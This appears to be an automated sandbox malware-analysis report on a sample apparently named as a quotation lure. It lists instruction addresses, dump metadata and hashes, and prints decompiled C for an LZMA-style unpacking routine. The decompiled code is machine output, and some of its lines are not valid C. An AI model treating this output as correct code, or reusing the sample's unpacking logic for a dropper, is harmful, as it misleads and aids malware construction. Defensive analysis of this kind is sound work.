0x00406edc
0x00000000
0x00000000
0x00406ede
0x00406ee1
0x00406ee4
0x00406ee7
0x00406eea
0x00406eed
0x00406ef0
0x00406ef3
0x00406ef6
0x00406ef9
0x00406efc
0x00406f14
0x00406f17
0x00406f1a
0x00406f1d
0x00406f1d
0x00406f20
0x00406f24
0x00406f26
0x00406efe
0x00406efe
0x00406f06
0x00406f0b
0x00406f0d
0x00406f0f
0x00406f0f
0x00406f29
0x00406f30
0x00406f33
0x00000000
0x00406f35
0x00000000
0x00406f35
0x00406f33
0x00406f3a
0x00406f3a
0x00406f3a
0x00406f3a
0x00000000
0x00000000
0x00406f75
0x00406f75
0x00406f79
0x00407581
0x00000000
0x00407581
0x00406f7f
0x00406f82
0x00406f85
0x00406f89
0x00406f8c
0x00406f92
0x00406f94
0x00406f94
0x00406f94
0x00406f97
0x00406f9a
0x00406f9a
0x00406fa0
0x00406f3e
0x00406f3e
0x00406f41
0x00000000
0x00406f41
0x00406fa2
0x00406fa2
0x00406fa5
0x00406fa8
0x00406fab
0x00406fae
0x00406fb1
0x00406fb4
0x00406fb7
0x00406fba
0x00406fbd
0x00406fc0
0x00406fd8
0x00406fdb
0x00406fde
0x00406fe1
0x00406fe1
0x00406fe4
0x00406fe8
0x00406fea
0x00406fc2
0x00406fc2
0x00406fca
0x00406fcf
0x00406fd1
0x00406fd3
0x00406fd3
0x00406fed
0x00406ff4
0x00406ff7
0x00000000
0x00406ff9
0x00000000
0x00406ff9
0x00000000
0x00407286
0x00407286
0x0040728a
0x004075b1
0x00000000
0x004075b1
0x00407290
0x00407293
0x00407296
0x0040729a
0x0040729d
0x004072a3
0x004072a5
0x004072a5
0x004072a5
0x004072a8
0x00000000
0x00000000
0x00407056
0x00407056
0x00407059
0x004073cb
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x00000000
0x00407395
0x00407399
0x004073bb
0x004073be
0x004073c8
0x004073cb
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x004073cb
0x0040739b
0x0040739e
0x004073a2
0x004073a5
0x004073a5
0x004073a8
0x00000000
0x00000000
0x00407452
0x00407456
0x00407474
0x00407474
0x00407474
0x0040747b
0x00407482
0x00407489
0x00407489
0x00000000
0x00407489
0x00407458
0x0040745b
0x0040745e
0x00407461
0x00407468
0x004073ac
0x004073ac
0x004073af
0x00000000
0x00000000
0x00407543
0x00407546
0x00407447
0x00000000
0x00000000
0x0040717d
0x0040717f
0x00407186
0x00407187
0x00407189
0x0040718c
0x00000000
0x00000000
0x00407194
0x00407197
0x0040719a
0x0040719c
0x0040719e
0x0040719e
0x0040719f
0x004071a2
0x004071a9
0x004071ac
0x004071ba
0x00000000
0x00000000
0x00407490
0x00407490
0x00407493
0x0040749a
0x00000000
0x00000000
0x0040749f
0x0040749f
0x004074a3
0x004075db
0x00000000
0x004075db
0x004074a9
0x004074ac
0x004074af
0x004074b3
0x004074b6
0x004074bc
0x004074be
0x004074be
0x004074be
0x004074c1
0x004074c4
0x004074c4
0x004074c4
0x004074c4
0x004074c7
0x004074c7
0x004074cb
0x0040752b
0x0040752e
0x00407533
0x00407534
0x00407536
0x00407538
0x0040753b
0x00407447
0x00407447
0x00000000
0x0040744d
0x00407447
0x004074cd
0x004074d3
0x004074d6
0x004074d9
0x004074dc
0x004074df
0x004074e2
0x004074e5
0x004074e8
0x004074eb
0x004074ee
0x00407507
0x0040750a
0x0040750d
0x00407510
0x00407514
0x00407516
0x00407516
0x00407517
0x0040751a
0x004074f0
0x004074f0
0x004074f8
0x004074fd
0x004074ff
0x00407502
0x00407502
0x0040751d
0x00407524
0x00000000
0x00407526
0x00000000
0x00407526
0x00000000
0x004071c2
0x004071c5
0x004071fb
0x0040732b
0x0040732b
0x0040732b
0x0040732b
0x0040732e
0x0040732e
0x00407331
0x00407333
0x004075bd
0x00000000
0x004075bd
0x00407339
0x0040733c
0x00000000
0x00000000
0x00407342
0x00407346
0x00407349
0x00407349
0x00407349
0x00000000
0x00407349
0x004071c7
0x004071c9
0x004071cb
0x004071cd
0x004071d0
0x004071d1
0x004071d3
0x004071d5
0x004071d8
0x004071db
0x004071f1
0x004071f6
0x0040722e
0x0040722e
0x00407232
0x0040725e
0x00407260
0x00407267
0x0040726a
0x0040726d
0x0040726d
0x00407272
0x00407272
0x00407274
0x00407277
0x0040727e
0x00407281
0x004072ae
0x004072ae
0x004072b1
0x004072b4
0x00407328
0x00407328
0x00407328
0x00000000
0x00407328
0x004072b6
0x004072bc
0x004072bf
0x004072c2
0x004072c5
0x004072c8
0x004072cb
0x004072ce
0x004072d1
0x004072d4
0x004072d7
0x004072f0
0x004072f2
0x004072f5
0x004072f6
0x004072f9
0x004072fb
0x004072fe
0x00407300
0x00407302
0x00407305
0x00407307
0x0040730a
0x0040730e
0x00407310
0x00407310
0x00407311
0x00407314
0x00407317
0x004072d9
0x004072d9
0x004072e1
0x004072e6
0x004072e8
0x004072eb
0x004072eb
0x0040731a
0x00407321
0x004072ab
0x004072ab
0x004072ab
0x004072ab
0x00000000
0x00407323
0x00000000
0x00407323
0x00407321
0x00407234
0x00407237
0x00407239
0x0040723c
0x0040723f
0x00407242
0x00407244
0x00407247
0x0040724a
0x0040724a
0x0040724d
0x0040724d
0x00407250
0x00407257
0x0040722b
0x0040722b
0x0040722b
0x0040722b
0x00000000
0x00407259
0x00000000
0x00407259
0x00407257
0x004071dd
0x004071e0
0x004071e2
0x004071e5
0x00000000
0x00000000
0x00406f44
0x00406f44
0x00406f48
0x0040758d
0x00000000
0x0040758d
0x00406f4e
0x00406f51
0x00406f54
0x00406f57
0x00406f5a
0x00406f5d
0x00406f60
0x00406f62
0x00406f65
0x00406f68
0x00406f6b
0x00406f6d
0x00406f6d
0x00406f6d
0x00000000
0x00000000
0x004070cf
0x004070cf
0x004070d3
0x00407599
0x00000000
0x00407599
0x004070d9
0x004070dc
0x004070df
0x004070e2
0x004070e4
0x004070e4
0x004070e4
0x004070e7
0x004070ea
0x004070ed
0x004070f0
0x004070f3
0x004070f6
0x004070f7
0x004070f9
0x004070f9
0x004070f9
0x004070fc
0x004070ff
0x00407102
0x00407105
0x00407105
0x00407105
0x00407108
0x0040710a
0x0040710a
0x00000000
0x00000000
0x0040734c
0x0040734c
0x0040734c
0x00407350
0x00000000
0x00000000
0x00407356
0x00407359
0x0040735c
0x0040735f
0x00407361
0x00407361
0x00407361
0x00407364
0x00407367
0x0040736a
0x0040736d
0x00407370
0x00407373
0x00407374
0x00407376
0x00407376
0x00407376
0x00407379
0x0040737c
0x0040737f
0x00407382
0x00407385
0x00407389
0x0040738b
0x0040738e
0x00000000
0x00407390
0x0040710d
0x0040710d
0x00000000
0x0040710d
0x0040738e
0x004075c3
0x00000000
0x00000000
0x00406bf2
0x004075fa
0x004075fa
0x00000000
0x004075fa
0x00407447
0x004073ce
0x004073cb
0x00000000
0x00407002

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ccf24f4e081119859c9f0e48baaaa1d38e3934f3a3b1d8a87677b84cb71901f
Instruction ID: 4a3513360c1d1cc4287bdabe5afcaa460628bed3c0d7ae87261646ca99be8a9f
Opcode Fuzzy Hash: 7ccf24f4e081119859c9f0e48baaaa1d38e3934f3a3b1d8a87677b84cb71901f
Instruction Fuzzy Hash: 0D711271D04228DBEF28CF98C9947ADBBF1FB44305F14806AD856B7280D738A986DF05

Uniqueness

Uniqueness Score: -1.00%

Function 0040711C Relevance: 5.2, APIs: 4, Instructions: 170
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040711C() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xb;
						_t606 =  *(_t613 - 4) + 0x1c8 +  *(_t613 - 0x38) * 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x28);
						L88:
						 *(__ebp - 0x2c) = __eax;
						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
						L89:
						__eax =  *(__ebp - 4);
						 *(__ebp - 0x80) = 0x15;
						__eax =  *(__ebp - 4) + 0xa68;
						 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
						L69:
						 *(__ebp - 0x84) = 0x12;
						while(1) {
							L132:
							 *(_t613 - 0x54) = _t606;
							while(1) {
								L133:
								_t531 =  *_t606;
								_t589 = _t531 & 0x0000ffff;
								_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
								if( *(_t613 - 0xc) >= _t565) {
									 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
									 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
									 *(_t613 - 0x40) = 1;
									_t532 = _t531 - (_t531 >> 5);
									 *_t606 = _t532;
								} else {
									 *(_t613 - 0x10) = _t565;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									 *_t606 = (0x800 - _t589 >> 5) + _t531;
								}
								if( *(_t613 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t613 - 0x6c) == 0) {
									 *(_t613 - 0x88) = 5;
									L170:
									_t568 = 0x22;
									memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
								 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
								 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
								 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
								L139:
								_t533 =  *(_t613 - 0x84);
								while(1) {
									 *(_t613 - 0x88) = _t533;
									while(1) {
										L1:
										_t534 =  *(_t613 - 0x88);
										if(_t534 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t534 * 4 +  &M00407602))) {
											case 0:
												if( *(_t613 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t534 =  *( *(_t613 - 0x70));
												if(_t534 > 0xe1) {
													goto L171;
												}
												_t538 = _t534 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t570);
												_push(9);
												_pop(_t571);
												_t609 = _t538 / _t570;
												_t540 = _t538 % _t570 & 0x000000ff;
												asm("cdq");
												_t604 = _t540 % _t571 & 0x000000ff;
												 *(_t613 - 0x3c) = _t604;
												 *(_t613 - 0x1c) = (1 << _t609) - 1;
												 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
												_t612 = (0x300 << _t604 + _t609) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
													L10:
													if(_t612 == 0) {
														L12:
														 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
														 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t612 = _t612 - 1;
														 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
													} while (_t612 != 0);
													goto L12;
												}
												if( *(_t613 - 4) != 0) {
													GlobalFree( *(_t613 - 4));
												}
												_t534 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t613 - 4) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 1;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t45 = _t613 - 0x48;
												 *_t45 =  *(_t613 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t613 - 0x48) < 4) {
													goto L13;
												}
												_t546 =  *(_t613 - 0x40);
												if(_t546 ==  *(_t613 - 0x74)) {
													L20:
													 *(_t613 - 0x48) = 5;
													 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t613 - 0x74) = _t546;
												if( *(_t613 - 8) != 0) {
													GlobalFree( *(_t613 - 8));
												}
												_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
												 *(_t613 - 8) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
												 *(_t613 - 0x84) = 6;
												 *(_t613 - 0x4c) = _t553;
												_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
												L132:
												 *(_t613 - 0x54) = _t606;
												goto L133;
											case 3:
												L21:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 3;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												_t67 = _t613 - 0x70;
												 *_t67 =  &(( *(_t613 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
												L23:
												 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
												if( *(_t613 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t531 =  *_t606;
												_t589 = _t531 & 0x0000ffff;
												_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
												if( *(_t613 - 0xc) >= _t565) {
													 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
													 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
													 *(_t613 - 0x40) = 1;
													_t532 = _t531 - (_t531 >> 5);
													 *_t606 = _t532;
												} else {
													 *(_t613 - 0x10) = _t565;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													 *_t606 = (0x800 - _t589 >> 5) + _t531;
												}
												if( *(_t613 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												__eflags =  *(__ebp - 0x40) - 1;
												if( *(__ebp - 0x40) != 1) {
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x80) = 0x16;
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x28);
													 *(__ebp - 0x24) =  *(__ebp - 0x28);
													__eax =  *(__ebp - 0x2c);
													 *(__ebp - 0x28) =  *(__ebp - 0x2c);
													__eax = 0;
													__eflags =  *(__ebp - 0x38) - 7;
													0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
													__al = __al & 0x000000fd;
													__eax = (__eflags >= 0) - 1 + 0xa;
													 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x664;
													__eflags = __eax;
													 *(__ebp - 0x58) = __eax;
													goto L69;
												}
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 8;
												__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t259 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t259;
												0 | _t259 = _t259 + _t259 + 9;
												 *(__ebp - 0x38) = _t259 + _t259 + 9;
												goto L76;
											case 0xa:
												goto L0;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												goto L88;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														_t170 = __edx + 1; // 0x1
														__ebx = _t170;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t217 = __edx + 1; // 0x1
													__ebx = _t217;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
